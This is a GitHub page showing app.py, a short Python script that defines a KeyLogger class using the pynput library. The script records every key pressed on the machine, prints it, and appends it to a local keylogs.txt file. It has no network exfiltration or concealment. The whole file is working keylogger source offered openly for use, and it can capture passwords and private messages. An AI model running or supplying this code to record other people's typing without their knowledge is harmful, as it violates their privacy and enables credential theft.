-
Notifications
You must be signed in to change notification settings - Fork 11
Expand file tree
/
Copy pathapp.py
More file actions
30 lines (23 loc) · 640 Bytes
/
Copy pathapp.py
File metadata and controls
30 lines (23 loc) · 640 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pynput import keyboard
class KeyLogger():
def __init__(self, filename: str = "keylogs.txt") -> None:
self.filename = filename
@staticmethod
def get_char(key):
try:
return key.char
except AttributeError:
return str(key)
def on_press(self, key):
print(key)
with open(self.filename, 'a') as logs:
logs.write(self.get_char(key))
def main(self):
listener = keyboard.Listener(
on_press=self.on_press,
)
listener.start()
if __name__ == '__main__':
logger = KeyLogger()
logger.main()
input()